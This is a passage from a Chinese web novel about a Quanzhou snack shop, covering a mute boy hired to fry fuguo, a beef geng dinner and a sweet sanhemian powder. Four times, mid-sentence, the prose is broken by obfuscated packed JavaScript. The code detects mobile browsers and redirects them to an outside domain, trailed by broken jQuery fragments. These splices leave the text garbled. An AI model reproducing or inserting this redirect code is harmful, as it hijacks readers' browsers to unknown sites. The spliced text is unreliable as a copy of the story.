“我这小店虽比不上您的干货行，但也挣得不少！况且以后阿墩要是当了大官，我还能同人家说我家这店吃了个大官出来呢！” 这话说到了吴头家心坎上，他拍了拍只知道大口大口啃包子喝花生汤的孙子，“你听见没有！可不要辜负了你月娘姑姑对你的期望！” 阿墩敷衍地应了两声。 —— 新灶已经风干足了五日。 昨日，许东山将手伸进灶膛里握拳敲打了一番，确认里外彻底干透，可以放开手脚做姜母鸭的生意了。 而苏月娘也与客人们透露了今日会多做姜母鸭的事情，所以，客人们便早早地上门等着姜母鸭了。 十只姜母鸭一出锅，便一口气卖出了六只，其中两只还是镇上的厝边端着自家的大汤盆来装走的。 有一桌客人是四人结伴过来的，这四人都穿着样式、花色讲究的衣裳，一瞧就是有钱人。 苏月娘给他们送姜母鸭和猪料汤时，那些人叽里咕噜地说着苏月娘听不懂的话。 这当中有一位泉州人，同苏月娘道：“早听我堂兄说你家的东西好吃，这不，我带着我这些天南海北过来泉州做生意的弟兄来尝尝你家的东西！” 苏月娘将米饭摆在四人的面前，疑惑问道：“你堂兄是……” “我堂兄卖干货的！他说他每天都过来喝面线糊呢！” 苏月娘恍然大悟，面前这些人竟是吴头家介绍过来的。 同吴头家的堂弟寒暄了几句，苏月娘回了厨房，装了四片刚出锅的海蛎煎，并淋上一大勺甜辣，送上吴头家堂弟那一桌。 “我这儿难得有泉州之外的客人过来！这碟海蛎煎算我的，让他们好好尝尝泉州的味道！” 吴头家的堂弟自然是欣然收下了苏月娘送的海蛎煎。 苏月娘与他们道了吃好喝好后便去招呼别的客人了。 吴头家与朋友们讲解了这海蛎煎一番后，率先夹起一片海蛎煎塞进嘴里。 他常年在外漂泊，待在泉州生活的日子少之又少，总是食异乡茶饭，思故乡味道。 这一口海蛎煎唤醒了他记忆里家乡的味道。 同桌的兄弟们见他放慢了咀嚼的速度，不免问道：“怎么忽然嚼这么慢？不好吃吗？” 他咽下海蛎煎，笑道：“这海蛎煎味道很好，很正宗……这么多年没吃了，怪想念的……” —— 天上云边微微泛着暖金色之时，月娘小吃铺送走了最后一位客人，挂上了新做的打烊门牌。 生意红火虽然叫人劳累，可落到苏月娘兜里的钱却比从前翻了一番。 如今的苏月娘对数当日挣到的钱已经不怎么热衷了—— 毕竟钱越挣越多，她可没那闲功夫去数那三四千文的钱。 钱匣子里的钱已经满到溢出来了，苏月娘留足了一笔明日 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15587569|164129||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 用来买菜买鸭的钱，余下的倒入布袋子里，等着一会儿背回屋里放着。 许东山听着比平日里长了不少的噼里啪啦声，便知道苏月娘此时心情极好。 果不其然，等苏月娘倒完了钱，她便满面是笑地提着布袋子过来，“阿山，你提一提这袋子！” 许东山接过这布袋子上下掂了掂，果真比平日重不少。 “过两日寻个闲工，陪我去钱庄将床底下的钱都存了。” 许东山想起了床底下那一大麻袋铜钱，“我去借辆拉车吧。” “不成不成……这太张扬了！” 许东山，“……”背着一大袋钱在街上走好似也没好到哪去。 夫妻俩商量了好半天，什么都没商量出来。 不过，两人一结束了这话题，前几日才见过的刘昌就上门来了。 店里也就许东山苏月娘与刘昌熟，自然也就由他们两个招待刘昌，其他人钻进厨房继续准备晚饭。 刘昌今日还多带了一个少年过来。 刘昌与苏月娘寒暄了一番，在苏月娘的邀请下入了座，趁着给刘昌和那少年倒水的空档，苏月娘才问起了那少年的身份。 “刘叔，这位是……” 刘昌忙错开身，露出身后那一直没有说话的小少年，“这是我一个表外甥！他不会说话！他家里没人了，我见他可怜，就将他带了回来！” 刘昌身后瘦巴巴的小少年看着也就十三四岁的模样，不仅不会说话，还没了家人…… 苏月娘看他的眼神多了几分怜悯。 “刘叔今天厚着脸皮过来向你替他讨个营生，阿平这孩子虽然不会说话，但是干活还算勤快……” 那个叫阿平的小少年耳朵还是好的，刘昌话音刚落，他便跟着小鸡啄米一般点头。 “正好最近店里忙，人手不怎足，你就留在我这儿做事吧！” 小少年那有些灰扑扑的脸上有了一丝笑容，他忙朝着苏月娘比划了两下。 刘昌虽然也没看懂，但他还是猜了句，“他跟你说谢谢呢！” 苏月娘冲阿平笑了笑，“你会想做什么？洗碗？洗菜？上菜？” 阿平一直点着头，看样子是很乐意做这些杂事。 许东山打量了他好一会儿，忽然问道：“会下厨吗？” 阿平愣了一下，随后迟疑地点了下头。 刘昌显然不太清楚这个，“你会下厨？” 阿平又是举起双手一阵比划。 大家云里雾里地看了半天，直到阿平用手在桌子上画出了一个五瓣花的形状，许东山才隐隐约约地琢磨出了点什么。 “这孩子是泉港来的？” 刘昌乐了，“你怎么知道？我还没同你具体介绍他呢！” 许东山，“他刚刚画了五瓣花，泉港浮粿就是五瓣花的形状。” 见许东山懂自己，阿平连忙激动地点了点头。 “这样，明天卯时你来店里炸浮粿给我看，东西我会提前准备好！” “快跟月娘头家和许师傅说谢谢！”刘昌顺利办成了事情，赶忙拍着阿平的后背叫他表示表示。 他都忘了阿平不会说话了。 阿平知道别人看不懂自己的比划，便站起来，郑重地朝着许东山与苏月娘鞠了一躬。 82. 泉港浮粿2 店里能多一个人帮着干活，大家心里都挺高兴的。 在刘昌领着阿平离开之前，大家还都凑上去给阿平认认脸。 平常在店里没什么地位的林大松更是满心畅快，他甚至拍着阿平的肩膀说往后要罩着他。 …… 吃过了晚饭之后，苏月娘与许春喜又趁着许东山洗碗躲到后屋趁着还有最后一丝光亮抓紧做点活。 这几日两人断断续续地赶工，上衣已经基本成型了，等再完善一番，便可以弄点棉花填进去。 有许春喜在一旁教着，不怎擅长女红的苏月娘竟然也做得有模有样的。 姑嫂俩正投入地做着衣裳，丝毫没有注意到门外有脚步声。 直到许东山推开了门，姑嫂俩才发觉他的到来。 此时藏东西已经来不及了，好在这上衣还没填棉，薄薄一层，铺在腿上倒也看不出什么。 许东山对妻子与妹妹这几日神神秘秘的举动好奇不已，正好这时撞见了，他便问道：“你们两个躲在房里做什么？” 屋里光线不足，许东山只依稀看清楚苏月娘怀里团着一块布料。 “我……”苏月娘有些慌乱地四处乱瞟，忽然，她瞟见哦屁摇着尾巴朝着许东山跑过去，她灵机一动，“我在给哦屁做过冬的衣裳！” 许东山看着这只时常会蹭着自己小腿撒娇的小黑狗，倒也没起疑。 他弯下腰，将哦屁抱了起来，撸了撸他后背暖呼呼的毛，再将它塞回狗窝里，“你们忙，我去库房里找点东西。” “汪！”哦屁朝许东山吠了一声。 许东山怕姑嫂俩弄坏眼睛，还特意没将门关上。 姑嫂俩静默了一瞬，纷纷松了口气。 “还好我哥的心眼没比林大松多多少。” 苏月娘抓紧低下头又缝了几针，“那这衣裳正大光明点做好像也没什么……” 慢慢的，日头落入山后，天地变得昏暗。 姑嫂俩结束了做衣裳的活。 苏月娘提了点热水洗了身，回屋等了许久，许东山才带着一身清爽回来。 许东山回屋的第一件事就是将擦发的巾子搭在肩膀上，然后要拖狗窝出去。 苏月娘忙制止他，“外面那么冷，小心哦屁着凉！” 许东山低头看了眼黑得看不清脸的狗儿子，决定一会儿再将它拉出去。 仔细洗过的许东山身上不再有油烟味，苏月娘就乐意在他刚洗身只后抱着他不撒手。 “你刚刚去库房里找什么？”许东山刚洗了发，苏月娘抱了他一会儿，便接过他手中的厚巾子给他擦发。 “去找做浮粿的勺。” 苏月娘有些意外，“家里怎么这么多我不知道的东西？” “宴席班子里学得杂，爹怕我回家歇息的时候懈怠了，就将班子里会用到的东西给我备了一份，让我在家也能练习。” 苏月娘了然，“也难怪你能有这一身做菜的本事。” 一边擦发，一边闲聊，许东山的头发变得七.八分干了。 苏月娘还要继续擦，许东山却将手往后一伸，抢走了她手中的巾子丢到了梳妆桌上，再抓起搁在床头的发巾将发随意一束。 苏月娘就这么似笑非笑地看着他。 等许东山束好头发，转过身握住苏月娘的腰，低头去亲她时，她却两手紧紧抵在许东山的前胸。 “你做什么？”许东山硬是凑上去贴着苏月娘的脖颈亲了一通。 苏月娘被他蹭得脖子痒痒，趴在他身上笑了好一会儿后，她赶忙一把将许东山摁住。 “可别怪我没有提醒你……这几日我都不方便！” 许东山眉头皱了皱，他还记得女子癸水时不得受凉，便扯起被子将苏月娘裹住了。 “你不早说……”被蹭出一身火没处使的郁闷地往床上一靠。 “稍安勿躁！稍安勿躁！”苏月娘依偎在许东山身边，并扯起被子的一角给他扇风，“我陪你聊些别的！” 许东山长长地舒了一口气，“你离我远点比什么都强。” 他又非贤人，貌美如花的妻子小鸟依人地靠着他，这叫他如何都静不下心来。 苏月娘自然是听他的话，裹着被子滚去了床的另一边。 许东山拉着她留下来的一角被盖在肚脐上望着房顶发呆。 长夜慢慢，怪难熬的…… —— 次日天没亮，许东山打开家门要出去买菜。 门扇一开，他便看见了蹲在家门口盯着地板发呆的阿平。 “怎么这么早到？” 阿平听见许东山的声音，忙扶着发麻的腿站起来要和许东山比划。 许东山看不懂，便摆摆手，“不用比划了，你先进厨房去给林大松帮忙！” 阿平连连点头，看着许东山挎着篮子离开了，才抬起发麻的两腿，一拐一拐地进屋了。 前屋里还只有林大松一个人在干活，林大松瞥见阿平，操着一身老前辈的范儿，煞有其事道：“头家还没起，你就先跟着哥干！你会什么我也不太清楚，这样，你去把花生的皮给搓了，然后再把花生仁丢到那口大锅里煮。” 阿平领了差事，卖力地干了起来。 在阿平煮花生汤的时候，苏月娘打着哈欠从后屋出来了。 正要走进厨房，她瞧见阿平已经在干活了，便止住脚步，靠在厨房门框上盯着阿平看。 她原本没对才十三岁的阿平抱有什么太大的期望，但现在看了他利落干活的动作，她才确信他是个干活的好手。 待许东山买菜归来，便从大家伙的口中听到了对阿平的夸赞。 阿平站在一旁听着，还有些不好意思。 许东山见这是个干活的好苗子，便喊他进厨房做浮粿给他看看。 “正好锅里还有炸醋肉剩下的热油，你就接下去找点福果给大家当早饭。” 阿平哼呀两声，便去许东山挎回来的菜篮子里找出了他需要的食材。 东西大概齐全了，就是缺少了一样稀饭。 许东山看阿平皱了眉头，便转身从橱里取出一碗昨天晚上没盛完的剩稀饭。 “这里还有一碗剩稀饭，一起拿下去拌了吧。” 这下东西齐全了，阿平便自信可以将浮粿做好。 阿平仔细清洗了红菜和包菜后，捧着这两样菜放到菜板上举着大菜刀，慢吞吞地将这两样菜切成细丝。 显然，阿平的刀工并不怎么好，这细丝切的又粗又歪斜。 许东山念及他没有正经学过，便接过他手里的菜刀，切了起来。 “我来切，你在旁边仔细学着。” 阿平便拘谨的站在一旁，看着许东山手起刀落，将红菜和包菜切成粗细均匀的细丝。 “看懂没有？多学着点。” 阿平一边点头，一边伸出大拇指。 许东山瞥了他一眼，“不用你夸我，你只要学着就好。” 阿平，“……”他分明只是想表达自己学会了。 不过这不重要，将浮粿做好，表现一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15593381|164129||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 番才是最重要的。 厨房里有现成切好的葱花，阿平舀了小半碗葱花倒入了菜丝里头，再往里放上两大勺地瓜粉，适量盐、五香粉、胡椒粉调味，最后倒入半瓢清水，取筷子将盆里的浆搅均匀 阿平将这搅得极稠的面糊放到一旁去，许东山便已经切好了半碗瘦肉条给了他递过来。 阿平接了肉，按照家常腌瘦肉的方式给瘦肉上了腌料。 海蛎已经被蟳埔女脱了壳，阿平腌好肉之后就可以热油炸浮粿了。 阿平不知店里有炸浮粿的六瓣花浮粿勺，刚想拿大铁勺糊弄一下时，许东山将六瓣花浮粿勺送了过来。 “做好看点，说不定月娘满意了，就会让你负责炸浮粿。” 许东山早已经清楚店里卖的吃食，全是苏月娘吃得满意的。 阿平郑重地点了点头，往灶膛里塞了一大把叶子和一根粗柴将锅里的油加热到合适的的温度，阿平将浓粉浆、腌肉条以及海蛎端到灶头放着。 大家伙都对阿平的手艺感到好奇，都有意无意地往他那儿瞄。 阿平握着六瓣花浮粿勺，往里倒入两小勺粉浆，而后加上两条瘦肉、三枚肥美的海蛎铺在浮粿勺子的正中，最后，两勺粉浆封顶。 粉浆从凸起的瘦肉与海蛎上还慢慢滑下，直至将整个浮粿勺的花瓣填满。 浮粿勺盛着粉浆与瘦肉放入热油中，热油瞬间爆起了热烈金黄的油花。 阿平耐心提着浮粿勺，待勺子里的浮粿稍微定了型了，他才将浮粿勺一番，抖落六瓣花形状的浮粿，再继续放浆包料。 他备的料量一共能做二十个浮粿。 店开张了，他那二十个浮粿也正好盛到宽碟里端出去。 “月娘头家，你店里来新人了！” 又是吴头家和他孙子阿墩。 既然都碰上了，苏月娘便用筷子扎了两个浮粿蘸上甜辣给吴头家祖孙俩送去。 “这是店里新来的小伙计阿平炸的浮粿！你们也一起尝尝他的手艺！” 紧接着，林大松和许春喜端出几碗面线糊放在桌上，招呼大家都来吃早饭。 许东山选择留着先兼盛面线糊、花生汤与端碗的活。 被招呼入座喝面线糊的阿平看许东山迟迟不来，便夹上一块浮粿送到厨房去。 阿平对着许东山哼呀两声，许东山懂了他的意思，捏起浮粿往嘴里送。 阿平做的是硬式浮粿（1），硬式浮粿外壳香脆，内里柔软似海蛎煎。 许东山一口咬下去，焦香的外壳“咔嗤一声”裂开过后，便能触及内里鲜嫩的软团。 瘦肉条滑嫩，海蛎肥美多汁，红菜丝与包菜丝被裹在地瓜粉软团中，熟了，却保持着原有的爽脆。 许东山觉得这浮粿调味正好，外皮也没有被炸焦，便道：“可以。” 刘昌早同阿平说许东山的手艺如何如何好，阿平自然清楚许东山是挑剔的。 能得他一句可以，阿平已经很满足了。 等阿平坐到桌边去时，苏月娘右手夹浮粿，左手舀面线糊，一边一口，甚是满足。 “可以啊，阿平！手艺不错！”林大松嘴里还塞着浮粿，只能囫囵说话。 阿平腼腆地笑着。 苏月娘，“你这浮粿做得还不错……你若是愿意继续做浮粿，往后我给你厨子的工钱！” 阿平虽然不知道厨子能拿多少钱，但苏月娘愿意卖他做的浮粿，这让他喜不自胜。 他赶忙点头，生怕同意晚了，苏月娘会改变主意。 83. 闽南牛肉羹 阿平虽然有点做菜的本事，但毕竟是头一天来，许东山也只让他负责煎海蛎煎并练一练盛面线糊。 别看阿平不会说话又年纪小，但上手倒是蛮快的，海蛎煎和盛面线糊两件事他两手开干，除却一开始认不清将近二十种料时有些手忙脚乱外，上手之后便没有再出过任何岔子了。 许春喜还夸他比林大松能干。 这可把林大松气得半天没往许春喜那儿凑。 今天的吃食在傍晚之前便卖光了，苏月娘与在外等着许久的客人道了歉之后，那些客人遗憾之余，一人摸了一把放在孤榻上的干花生走了。 堂屋里还坐着最后一批客人，苏月娘清点了人头之后，便先去后边准备洗碗了。 阿平站在炸锅边认真观察着大家伙做事，看大家准备去洗碗了，他便马上跟了过去。 “阿平过来了啊……你去把大油锅端出来，把油倒泔水桶里！”苏月娘撸起袖子，从水缸里舀水倒进装碗筷的大木桶里。 阿平忙摆手，咿咿呀呀地像是要解释什么。 苏月娘倒也是有耐心看他比划，云里雾里地看了一通，她大概是看懂了他的意思。 “你是觉得那油不用倒？” 阿平点头。 “那油得倒了！你快把锅端过来！端不过来的话让你大松哥帮你！” 阿平又摆手摇头，他指了指厨房里的大油锅，手掌弯成小舟一铲一铲的。 许春喜和红姑跟着看了半晌，“你的意思是说你觉得那些油捞一捞就干净了，还能再用？” 见大家努力理解了，还是能懂自己的意思，阿平咧开嘴角，用力点头。 苏月娘明白了阿平的好意，但她还是决定将油倒掉，“那油每天从早不停地炸到晚，炸多了，炸料味道会变差，所以，店里的油两天换一次！” 阿平没想到苏月娘会这么说，虽然他还是觉得这样有些浪费，但他还是乖乖地回厨房将油端出来倒了。 正好这时候，许东山买菜回来了。 许东山远远看见阿平那两条抓着锅耳的两条细胳膊打颤似翅膀乱扇的水蚁（1），他匆忙放下菜篮子后，一个箭步冲上去从阿平手上接过了油锅。 “以后油不用你倒，你去干点别的。”许东山力气大，毫不费力地将锅一倾，便将油倒入了泔水桶里。 阿平看看自己的细胳膊，再看看许东山那连厚袄子都盖不住的粗壮胳膊，暗暗下决心要好好练一练。 许东山轻松地提着空了的大油锅，送到水池里头，看苏月娘正卖力地用丝瓜瓤搓洗碗上黏着的糊团，许东山赶紧接过她手上的东西，将她赶到一旁去。 “你不是身子不舒服吗？你进去歇着。” 林大松竖起耳朵，“月娘，你哪里不舒服？” 许春喜一脚踹在林大松的小腿上，“跟你没关系，你洗你的碗！” 林大松冷哼一声，闭上了嘴。 来月事的日子里，苏月娘总会腰酸背痛，弯着腰洗碗对她来说并不舒服。 既然许东山想帮她洗，那她也就先歇下来做点别的。 “既然你洗碗了，那我就做饭吧……你今晚买了什么？”苏月娘伸出双手，等着红姑帮她冲手。 “买了几样菜，还有一块五花肉，刚刚回来的时候听说镇上有户人家的牛不小心撞死了，我就上那家去割了一块牛肉。” 苏月娘半信半疑地抬起头，“真是撞死的？” “说是这么说，但具体怎么死的，只有那家人自己知道。” 苏月娘抬腿轻轻踢了许东山一脚，“这你也敢乱买，小心惹祸上身！” 许东山回过头，微微压低脑袋，在苏月娘耳边道：“听说牛肉补血还不错……而且也就这一次半次……” 苏月娘听了这话，扬起嘴角，趁着大家都不注意，在许东山脸上快速亲了一口。 “好了好了，洗你的碗去吧！我去处理牛肉！” 苏月娘抬头看了一眼天色，天时还早，但炖牛肉肯定是来不及了。 她在清河镇老家也曾吃过几次自然老死的耕牛，也就她爹有钱，一买就是好几斤，不仅用来炖，还做了羹汤。 牛肉羹虽然做起来费劲儿，但至少做起来比炖牛肉快多了。 洗碗池边上挤满了人，阿平插不进去手，就只能先跟着苏月娘进屋去做饭了。 虽然阿平是刘昌介绍过来的，但苏月娘也是给了他工钱的，自然是要叫他做些事情。 “浮粿都会做，那简单的菜会炒吗？”苏月娘翻了翻菜篮子，将里头的菜一一摆出来。 阿平点头。 “那你负责把这几样菜和那块五花做了，如果有问题的话，去找阿山过来帮你。” 阿平还是点头。 既然阿平表示没问题，苏月娘便开始准备做牛肉羹了。 许东山带回来的那块牛肉暗色暗红，摸着软乎有弹性，轻轻一揩，还能揩出些许油黏。 牛肉带着一点点血腥味，单单清水冲洗大概是去不掉这味道。 牛肉羹又讲究顺滑，抓制成羹之前是不得下锅烹煮的，不然肉质会变得干柴。 所以这个时候就需要葱姜水来去腥。 时间紧，苏月娘便将葱姜尽量切细幼了，使里头的汁液渗到水中。 苏月娘泡好葱姜水，阿平正好洗了牛肉，将之放在案板上。 当今律法不允许民间私宰耕牛，但牛肉又因味美深受百姓喜爱，每有耕牛自然老死或者意外撞死被出售，主人家总能靠着这头牛大赚一笔。 牛肉不便宜，苏月娘便仔细地对待。 顺着牛肉的纹切成薄片后，用刀面慢慢拍打牛肉表面，使牛肉肉质变得疏松，而后再顺着肉片上的长条纹，切成粗细均匀的长条。 苏月娘将这一大把牛肉长条抓到盆里，加上盐、少许酱油、两茶勺的草木灰水后，将手伸进盆里，顺着同一个方向边抓边搅拌牛肉。 每抓拌一段时间便往里面倒入少量葱姜水，如此循环往复七八次，盆中的牛肉条被抓拌得黏稠滑嫩，最后再倒上大半碗地瓜粉继续抓匀即可。 做好这牛肉羹，苏月娘的手又酸又胀。 另一边，阿平 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15600043|164129||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 正认真地炒菜。 许东山和林大松正对着窗，两人挤在一起，指导阿平做事。 许东山，“你这刀功还是不行，以后你多练一练！” 林大松，“你不要不舍得往红菜里面放糖！多放一点！不然没人吃！” 阿平一一照做，每做完一步，他还得抬头看窗外的两人一眼。 …… 锅中水滚冒大泡，倒入适量酱油、盐，再将粘成一团的牛肉羹一条一条地捏入锅中煮。 煮熟的牛肉羹慢慢浮起，苏月娘握着大勺翻搅着牛肉羹，防止牛肉羹粘连。 等所有牛肉羹都浮起，撇去表面的白色浮沫，接着倒入一碗地瓜粉水搅拌勾芡，棕色的牛肉酱油汤水变得浓稠时候倒入少许永春老醋和胡椒粉，牛肉羹汤便可以起锅了。 汤盆里放入姜丝、蒜蓉、葱花以及芫荽碎，倒入牛肉羹汤，牛肉香含带着底下那些碎料被激发出的香气随着蒸腾的水汽往上飘。 “碗洗好了吗？马上开饭了！” “马上了！在倒水了！” 外头的大家马上加快手脚将洗好的碗叠成一叠，倒趴在外头展开的长板上沥水。 苏月娘与阿平一起，将今天的饭菜汤端出去，外头的其他人一番拾掇，很快也都进来了。 林大松一进屋就猛吸鼻子。 “你做的这牛肉羹还挺香的！” “那是！我的手艺可好了！”苏月娘给自己和许东山各盛了半碗牛肉羹汤，才招呼其他人开吃。 牛肉是饭桌上的稀客，大家都对这牛肉羹汤格外青睐。 虽说牛肉羹汤煮的时间并不算长，但酱油浅薄的辛辣汤水中已然都是牛肉的味道。 苏月娘喝了口汤之后，歪着脑袋，“阿山，你觉得……” 许东山咽下口中的汤，还没等苏月娘将话说全，他就开口，“不行！” 苏月娘皱眉，随后凶狠地瞪着他，“你什么意思？嫌我做的牛肉羹不行！” 许东山，“……我还以为你想卖牛肉羹……” 苏月娘冷哼一声，“这东西这么贵，又不好买，我敢卖也得别人敢买呀！” 既然苏月娘并不是想买牛肉羹，许东山也就放心了，他舀起一勺牛肉羹，慢慢品尝起来。 牛肉新鲜，苏月娘又花了大功夫慢慢抓揉，这牛肉羹尝起来嫩滑筋道，半点不干柴。 “你手艺很好。” 听到了许东山的夸奖，苏月娘眉开眼笑，“我的手艺是家里第二好的！” 林大松也就是吃得停不下嘴了，才没有与苏月娘争这厨艺第二。 当然，许东山也没忘记新来的阿平。 他一一尝过了阿平炒的菜后，虽说没有夸他，却还算温和地指出了他的不足之处。 阿平认真地将许东山的建议记下，还和许东山比划表示他都记清楚了。 许东山看不懂，也不想费功夫去猜，“你别光吃菜，多吃点肉，省得连油锅都端不起来！” 十三岁的阿平又看了看自己那也就比阿生粗两圈的胳膊，才将筷子伸向肉菜。 84. 三合面 在刘昌眼里，十三岁的阿平还是个孩子。 下值归家的刘昌瞧见阿平还没回来，便先舍下热腾腾的饭菜，摸黑去接阿平。 月娘小吃铺的残羹剩饭刚撤下桌，刘昌便上门来了。 “你阿舅来接你了，你先回去吧！明天不用那么早过来！”苏月娘抢过勤快的阿平手中的碗筷，喊他快回去歇息。 “这小子今天干得怎么样？有没有给你们添麻烦？”刘昌上下打量着阿平，见阿平衣角沾上了锅底灰，忙替他拍打了几下。 “他挺能干的，说的话都能记住，就是太瘦了，连油锅都端不动。”许东山目光落在阿平纤瘦的手脚上，“多练练就好。” 刘昌听了这话，捏了捏阿平的细胳膊，叹气道：“实不相瞒，阿平这孩子在老家过得苦，为了生计去镇上的小店洗碗，那头家不给他工钱，每天只给两碗菜糊让他饱腹，这才瘦成这模样。” 苏月娘看阿平这瘦小子的眼神又多了几分怜悯，“刘叔，我这儿三顿都包，把他放我这儿，不出一季，定能叫他变一副模样！” 刘昌也是知道同是被雇佣的红姑三餐都是在这吃的，但阿平到底是他塞过来的，他也不好表现得太过理所当然。 “阿平就多请你们费些心思了！你们小两口要是有什么问题，随时过来找刘叔！” 两口子自然是点头应下。 —— 虽说许东山让阿平晚点再过来，但架不住阿平勤快，次日许东山开门的时候又瞧见阿平蹲在家门口等开门。 “都跟你说卯时过后再来了。” 阿平又腿麻了，许东山皱着眉去搀了他一把。 这小子瘦得让许东山都不敢用劲儿，生怕一不留神就将他的细胳膊给折断了。 “罢了……以后你要是早来，就直接开门进去，别一个人傻蹲在门口吹风。” 怕阿平不懂得如何开门，许东山带他走到窗边，“窗扇下面绑着一根绳，你把绳子往正手边一扯，就能把门闩拉开了。” 阿平点头，记下了开门的步骤。 “你先进去干活，等我买食材回来，你再开始做浮粿。” 阿平目送许东山拎着菜篮子离开后，才跑回屋里找事情干。 今天许春喜起得早，她正要煮花生汤呢，就见阿平走进厨房里东张西望。 “阿平，你过来！”许春喜朝他招招手。 阿平马上小跑过去，等着听许春喜的差遣。 “花生昨天晚上就泡好了，你把花生皮搓一搓，再倒进锅里去煮……那边那块芋头削皮之后，切块，放小蒸锅里去蒸。” 阿平点着头，哼哼呀呀了两声，表示他记下了。 许春喜没有再多吩咐什么，便去做别的事了。 苏月娘这两日来癸水身子虚弱，又大概是因为天冷受寒的缘故，昨夜许春喜起夜时碰见苏月娘捂着肚子，有气无力地往房里走。 许春喜便想着给苏月娘做点喝了能恢复精力，又热乎的小零嘴。 …… 苏月娘今日身子不适，便放纵自己睡到辰时才起。 好在早上的生意不比中午傍晚的好，缺她一个也碍不了什么事情。 许东山瞧见苏月娘走进了厨房，眼睛便黏在她脸上打量了一番。 睡足了一觉，她的面色倒是好多了。 苏月娘见丈夫一直盯着自己看，便走上前去，撞了撞他的胳膊，“盯着我看做什么？我有这么好看？” 许东山无奈地笑了一声，摸了摸她的脸颊，“不是说不舒服吗？怎么不躺着多睡会儿？” “我觉得没什么大碍了！你别担心了！你看！我现在可有劲儿了！” 一边说着，苏月娘还“哈”地一声，扎了个结实的马步，攥着白嫩的拳头，朝着许东山轮流冲拳而去。 许东山皮糙肉厚的，苏月娘用了不小的劲儿。 许东山虽岿然不动，却感受到了她的力道。 苏月娘捶了六七下，许东山眼疾手快地抓住了她的手腕，并摸了摸她温热的手。 “别把手弄疼了，累了就歇着！” 苏月娘这才满意地站直起来，甩甩两手，出去招呼客人了。 —— 忙活完中午那一阵，大家也没有心思张罗别的吃食了，炒了一大锅湖头米粉配着汤草草了结一顿。 碗筷有男人们洗，女人们便只需要在屋里暖和便成。 苏月娘原是坐在灶边舒舒服服地烤火的，但见许春喜炒起了黑油麻和花生，她便站起身，凑了过去。 “你又要做什么好吃的？” “你不是身子虚吗？给你做些三合面补补。” 苏月娘眼睛一亮，赶忙抱紧许春喜的腰，撅着嘴要亲她，“春喜嫂，你真好！” 还没等苏月娘凑近，许东山便不知道打哪冒出来，他的大手一把捂在苏月娘的嘴巴上。 “别这样，成何体统。”许东山皱着眉，有些淡淡的不悦。 被捂着嘴的苏月娘瞪了许东山一眼，而后张开嘴，一口咬上许东山的手心。 许东山手心里茧子厚，苏月娘这一咬跟给他挠痒差不多。 许春喜瞥了这对夫妻一眼，“月娘你亲这开花的老铁树一口，这老铁树就不会捂你嘴了。” 这下许东山不捂苏月娘的嘴了，他将手一拔，往许春喜的脑袋上狠狠敲了一下。 “没大没小！” “嗷！”许春喜吃痛地捂着脑袋，“月娘，这老铁树欺负我！” 这会儿姑嫂是一条心的，许东山的后背挨了苏月娘不痛不痒的一巴掌，还被放了狠话。 “你晚上睡堂屋！” 许东山，“……” “枕头被子可都别给他准备！”许春喜火上浇油。 姑嫂俩合力将许东山气走了，两个人对视的一眼，默契地伸出手掌击了一下。 许春喜得意地看向已经在刷过的许东山，“你来搓皮捣碎，我去准备其他的。” …… 三合面并非面条，而是面粉与白糖、猪油、红葱头，花生油麻碎制成的甜食粉，不仅适宜天冷防寒，也适宜病后恢复与身体虚弱时小补。 许春喜找了个干燥的盆，倒上半盆面粉，面粉铺平之后在表面上用手指头戳上几个小洞。 面粉需要蒸熟却又不得太过湿润，许春喜在厨房里翻找了好一会儿，最后寻得了三块新的大块纱布，结结实实地蒙在面粉盆上，再端着盆放到锅里去蒸。 家里的石臼太小，油麻与花生若是一次性倒进去捣碎，总是免不得要往外飞洒一些。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15603924|164129||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 于是苏月娘将油麻与花生分成了两份捣。 许春喜洗了红葱头回来便瞧见苏月娘右手握着石杵用力地捣着花生油麻碎，左手时不时地摸一颗已经去了皮的花生仁往嘴里丢。 “你再吃，一会儿可就没得拌了！” 偷吃被抓了个现行，苏月娘不好意思地冲许春喜笑了笑。 